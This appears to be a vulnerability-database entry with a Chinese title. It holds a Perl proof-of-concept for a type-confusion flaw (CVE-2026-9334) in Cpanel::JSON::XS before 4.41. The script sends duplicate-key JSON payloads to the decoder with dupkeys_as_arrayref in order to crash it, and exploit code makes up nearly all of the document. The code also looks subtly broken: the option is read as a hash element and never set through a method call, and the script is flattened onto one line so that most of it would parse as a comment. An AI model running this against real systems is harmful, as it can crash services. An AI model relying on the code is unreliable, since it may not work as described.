Cpanel::JSON::XS 4.41之前版本 dupkeys_as_arrayref 类型混淆漏洞

#!/usr/bin/env perl use strict; use warnings; use Cpanel::JSON::XS qw(decode_json); # PoC for CVE-2026-9334 # Type Confusion in Cpanel::JSON::XS < 4.41 with dupkeys_as_arrayref enabled # Enable dupkeys_as_arrayref to trigger the vulnerable code path my $json_text = '{"key":"value1","key":"value2"}'; # Create JSON decoder with dupkeys_as_arrayref enabled my $codec = Cpanel::JSON::XS->new->utf8->allow_nonref->{dupkeys_as_arrayref}; # This will trigger the type confusion vulnerability # old_value is a plain scalar, not a reference # SvRV(old_value) dereferences it as if it were a reference eval { my $decoded = $codec->decode($json_text); print "Decoded: " . $decoded->{key} . "\n"; }; if ($@) { print "Vulnerability triggered! Error: $@\n"; } # Alternative PoC with more duplicate keys to increase crash probability my $malicious_json = '{"a":"' . 'A' x 100 . '","a":"' . 'B' x 100 . '","a":"' . 'C' x 100 . '"}'; print "\nTrying with malicious JSON payload...\n"; eval { my $result = $codec->decode($malicious_json); }; print "Result: $@\n" if $@;